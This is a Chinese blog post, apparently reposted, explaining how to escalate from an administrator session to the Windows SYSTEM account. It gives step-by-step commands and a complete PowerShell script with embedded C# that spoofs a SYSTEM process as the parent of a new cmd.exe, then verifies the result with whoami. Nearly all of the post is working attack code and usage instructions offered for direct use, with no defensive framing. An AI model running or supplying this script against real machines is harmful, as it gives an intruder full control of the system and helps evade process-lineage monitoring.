首页 > 系统相关 >Windows提权到system权限

Windows提权到system权限

时间:2023-06-18 13:04:04浏览次数:35  
标签:IntPtr Int32 Windows system 提权 si lpAttributeList ref public

提权到nt authority\system权限:
1.在PowerShell下运行p.ps1脚本
2.运行如下命令:
[MyProcess]::CreateProcessFromParent(1580,"c:\windows\system32\cmd.exe","")
3.在新打开的窗口中运行whoami,可以看到当前账户为nt authority\system
4.然后可以重启schedule服务 sc stop schedule && sc start schedule

p.ps1脚本内容如下:

#Simple powershell/C# to spawn a process under a different parent process 
#usage: import-module psgetsys.ps1;  [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
$mycode = @"
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

public class MyProcess
{
    [DllImport("kernel32.dll")]
    static extern uint GetLastError();
    
    [DllImport("kernel32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    static extern bool CreateProcess(
        string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
        ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UpdateProcThreadAttribute(
        IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
        IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool InitializeProcThreadAttributeList(
        IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFOEX
    {
        public STARTUPINFO StartupInfo;
        public IntPtr lpAttributeList;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
        public int nLength;
        public IntPtr lpSecurityDescriptor;
        public int bInheritHandle;
    }

    public static void CreateProcessFromParent(int ppid, string command, string cmdargs)
    {
        const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
        const uint CREATE_NEW_CONSOLE = 0x00000010;
        const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
        

        var pi = new PROCESS_INFORMATION();
        var si = new STARTUPINFOEX();
        si.StartupInfo.cb = Marshal.SizeOf(si);
        IntPtr lpValue = IntPtr.Zero;
        Process.EnterDebugMode();
        try
        {
            
            var lpSize = IntPtr.Zero;
            InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
            si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
            InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize);
            var phandle = Process.GetProcessById(ppid).Handle;
            Console.WriteLine("[+] Got Handle for ppid: {0}", ppid); 
            lpValue = Marshal.AllocHGlobal(IntPtr.Size);
            Marshal.WriteIntPtr(lpValue, phandle);
            
            UpdateProcThreadAttribute(
                si.lpAttributeList,
                0,
                (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                lpValue,
                (IntPtr)IntPtr.Size,
                IntPtr.Zero,
                IntPtr.Zero);
            
            Console.WriteLine("[+] Updated proc attribute list"); 
            var pattr = new SECURITY_ATTRIBUTES();
            var tattr = new SECURITY_ATTRIBUTES();
            pattr.nLength = Marshal.SizeOf(pattr);
            tattr.nLength = Marshal.SizeOf(tattr);
            Console.Write("[+] Starting " + command  + "...");
            var b= CreateProcess(command, cmdargs, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
            Console.WriteLine(b+ " - pid: " + pi.dwProcessId+ " - Last error: "  +GetLastError() );
            
        }
        finally
        {
            
            if (si.lpAttributeList != IntPtr.Zero)
            {
                DeleteProcThreadAttributeList(si.lpAttributeList);
                Marshal.FreeHGlobal(si.lpAttributeList);
            }
            Marshal.FreeHGlobal(lpValue);
            
            if (pi.hProcess != IntPtr.Zero)
            {
                CloseHandle(pi.hProcess);
            }
            if (pi.hThread != IntPtr.Zero)
            {
                CloseHandle(pi.hThread);
            }
        }
    }

}
"@
 Add-Type -TypeDefinition $mycode

#Autoinvoke?
 $cmdargs=""
if($args.Length -eq 3)
{
  $cmdargs= $args[1] + " " + $args[2]
}

#[MyProcess]::CreateProcessFromParent($args[0],$args[1],$cmdargs)

 

标签:IntPtr,Int32,Windows,system,提权,si,lpAttributeList,ref,public
From: https://blog.51cto.com/u_11508007/6508213

相关文章

  • 使用以下命令将 Windows Server 2022 上的 Bluetooth 服务全部设置为自动启动
    使用以下命令将WindowsServer2022上的Bluetooth服务全部设置为自动启动:打开记事本,将以下命令复制粘贴到记事本中:scconfigbthservstart=autoscconfigBluetoothAudioGatewayServicestart=autoscconfigBluetoothAVRCPServicestart=autoscconfigBluetoothUse......
  • 找出Windows指定文件夹中的大文件
    #-*-coding:utf-8-*-importos#字节b转化kb\m\gdefformat_size(b):try:b=float(b)kb=b/1024except:print("传入的字节格式不对")return"Error"ifkb>=1024:M=kb/1024......
  • .Net7发现System.Numerics.Vector矢量化的一个bug,Issues给了dotnet团队
    因为前几天做.Net7的矢量化性能优化,发现了一个bug。在类System.Numerics.Vector里面的成员变量IsHardwareAccelerated。但是实际上不确定这个bug是visualstudio2022的还是System.Numerics.Vector库的,个人认为应该是前者,也就是vs的bug。Vector.IsHardwareAccelerated返回的是Tr......
  • centos添加自定义Systemd服务
    #########################https://zhuanlan.zhihu.com/p/415469149          systemctlenable**nable命令相当于在/etc/systemd/system/目录里添加了一个符号链接,指向/usr/lib/systemd/system/里面的**.service开机时,Systemd会执行/etc/systemd/system......
  • Windows10远程访问Ubuntu服务器上的Jupyter Notebook解决办法
    1、nginx反向代理 2、概要:可能有的同学在使用Python的时候喜欢使用.py文件,而有的同学喜欢使用JupyterNotebook做开发,但是苦于不会使用远程服务器的JupyterNotebook而放弃,而这篇文章将教会你怎样远程访问JupyterNotebook。官方地址:官方地址远访配置:创建JupyterNot......
  • Windows All Killer
    代码大部分来自网络#include<iostream>#include<windows.h>#include<tlhelp32.h>#include<stdio.h>#include<aclapi.h>#include<bits/stdc++.h>usingnamespacestd;#defineNTMODEF1#defineZWMODEF0DWORDProtectProcess(void......
  • Windows 下编译 OpenCV 和 OpenCV-contrib
    文章目录导言环境准备源码获取环境获取配置CMake并编译ConfigureGenerate生成项目总结导言在本文中,我们将介绍如何在Windows系统下编译OpenCV和OpenCV-contrib。OpenCV是一个开源的计算机视觉库,它包含了许多图像处理和计算机视觉的功能。而OpenCV-contrib则是一个由社......
  • windows下mysql使用mysqldump定时备份数据库,删除过期备份
    windows下mysql使用mysqldump定时备份数据库,删除过期备份创建备份脚本:@echooffforfiles/p"d:\mysql_backup"/mbackup_*.sql-d-7/c"cmd/cdel/f@path"set"Ymd=%date:~0,4%%date:~5,2%%date:~8,2%"cdD:\Mysql\mysql-8.0.18\binmysqldump--opt......
  • How to enable auto restart of a docker container on system reboot ?
    Howtoenableautorestartofadockercontaineronsystemreboot ?https://amalgjose.com/2021/02/12/how-to-enable-auto-restart-of-a-docker-container-on-system-reboot/#:~:text=How%20to%20enable%20auto%20restart%20of%20a%20docker,Ensure%20the%20docker%20co......
  • wsl 安装的Ubuntu 和windows 里面的文件如何共享
    原文:oucanalsoaccessyourlocalmachine’sfilesystemfromwithintheLinuxBashshell–you’llfindyourlocaldrivesmountedunderthe /mnt folder.Forexample,your C: driveismountedunder /mnt/c:意思就是直接在Ubuntu里面cd到/mnt/c就可以了......